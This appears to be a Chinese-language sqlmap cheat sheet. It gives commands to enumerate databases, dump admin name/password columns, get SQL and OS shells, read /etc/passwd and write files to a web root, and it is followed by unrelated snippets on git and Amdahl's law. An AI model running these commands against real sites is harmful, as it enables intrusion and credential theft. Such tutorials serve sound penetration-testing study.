1、檢查注入點
root@kali:/# sqlmap -u
2、爆所有資料庫資訊
root@kali:/# sqlmap -u --dbs
爆當前資料庫資訊
root@kali:/# sqlmap -u --current-db
3、列出指定資料庫所有的表名
root@kali:/# sqlmap -u -d fujieace --tables
'fujieace' 為指定資料庫名稱
4、列出指定表名的所有列名
root@kali:/# sqlmap -u -d vhost48330 -t admin --columns
'admin' 為指定表名稱
5、dump列印輸出表名指定列名字段的值資料
root@kali:/# sqlmap -u -d vhost48330 -t admin -c name,password --dump
'name,password' 為指定欄位名稱
1、列出資料庫管理系統使用者:
root@kali:/# sqlmap -u --users
檢視當前連線資料庫使用者:
root@kali:/# sqlmap -u --current-user
2、判斷當前使用者是否是dba?
root@kali:/# sqlmap -u --is-dba
3、檢視使用者許可權:
root@kali:/# sqlmap -u --privileges
root@kali:/# sqlmap -u --privileges -u fujieace
1、sql shell
這裡通過sqlmap可以直接獲取乙個sql shell,直接執行sql語句進行互動。
root@kali:/# sqlmap -u --sql-shell
sql-shell> select version();
注意:這裡由於進入了sql shell可以執行sql語句了,也可以用 load data infile、load_file、into outfile等函式來進行檔案讀取或寫入;
2、cmd shell
這裡通過sqlmap可以直接獲取乙個cmd shell,直接執行cmd命令進行互動。
root@kali:/# sqlmap -u --os-shell
root@kali:/# sqlmap -u --os-cmd=ipconfig
3、讀取伺服器上指定檔案
root@kali:/# sqlmap -u --file-read=/etc/passwd
root@kali:/# sqlmap -u --file-read=d:/test.txt
4、寫入本地檔案到伺服器上
root@kali:/# sqlmap -u --file-write /test/test.txt --file-dest /var/www/html/1.txt
git指令簡單粗暴
git status 有兩種顏色,一種是綠色,一種是紅色 紅色為剛更改完 1,最開始流程 git init git add 變成綠色 git commit m 注釋,可以寫上修改內容 檢視在最後一次提交之後的所有變更 git differ head 檢視新增 add 而並未提交 commit 的變更...
sqlmap簡單使用
u 檢測存在可利用漏洞 dbs 獲取所有庫 current db 列出當前資料庫 d 庫名 tables 查詢此庫中存在的表 d 庫名 t 表名 columns 列出表中的所有列 d 庫名 t 表名 c 列名1,列名2 dump 匯出列中的所有資料 sqlmap.py u url sqlmap.py...
簡單粗暴的阿姆達爾定律
技術 於生活,技術又改變了生活。從生活中的例子說起 要完成拖地和燒開水這麼乙個工作,假設燒開水需要花費 2分鐘,拖地需要2分鐘,各佔總時間的50 為了趕時間,我叫上朋友一塊幫忙,因為燒開水的時間不為人所能控制,因此增派人手能做的工作只能是打掃衛生,此時完成整項工作可提公升的速度為 可提公升效率倍數 ...